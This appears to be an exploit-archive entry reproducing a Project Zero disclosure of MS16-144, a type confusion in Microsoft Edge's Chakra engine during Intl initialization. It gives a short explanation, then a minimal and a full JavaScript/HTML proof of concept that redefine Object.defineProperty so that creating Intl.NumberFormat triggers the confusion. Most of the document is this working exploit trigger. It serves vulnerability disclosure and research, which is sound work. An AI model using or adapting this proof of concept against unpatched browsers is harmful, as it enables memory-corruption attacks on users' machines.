Microsoft Edge – Internationalization Initialization Type Confusion (MS16-144)
<!-- Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=972 In Chakra, Internationlization is initialized the first time the Intl object is used, by executing the script in Intl.js (https://github.com/Microsoft/ChakraCore/blob/master/lib/Runtime/Library/InJavascript/Intl.js). This code attempts to prevent Object methods from being redefined by user scripts, but there are a few stray calls to Object.defineProperty in initialization. If Object.defineProperty is redefined before Intl is initialized, a user-define method can be called during initialization. If this method defines a Collator (or DateTimeFormat or NumberFormat) getter and setter on the Intl object, it can intercept what it is set to, and set it to a different value instead. This will then cause type confusion in IntlEngineInterfaceExtensionObject::deletePrototypePropertyHelper (https://github.com/Microsoft/ChakraCore/blob/master/lib/Runtime/Library/IntlEngineInterfaceExtensionObject.cpp), as this function assumes the properties of a Collator are objects, when they are not guaranteed to be. A minimal PoC is as follows, and a full PoC is attached. var d = Object.defineProperty; var noobj = { get: function () { return 0x1234567 >> 1; }, set: function () { } }; function f(){ var i = Intl; Intl = {}; // this somehow prevents an exception that prevents laoding d(i, "Collator", noobj); } Object.defineProperty = f; var q = new Intl.NumberFormat(["en"]); </script></body></html> --> <html><body><script> var d = Object.defineProperty; var noobj = { get: function () { print("in get no"); return 0x1234567 >> 1; }, set: function () { print("in set no"); } }; function f(...a){ var i = Intl; Intl = {}; d(i, "Collator", noobj); } var pattern = { get: function () { return f; }, set: function () { } }; Object.defineProperty(Object, "defineProperty", pattern); var q = new Intl.NumberFormat(["en"]); </script></body></html> |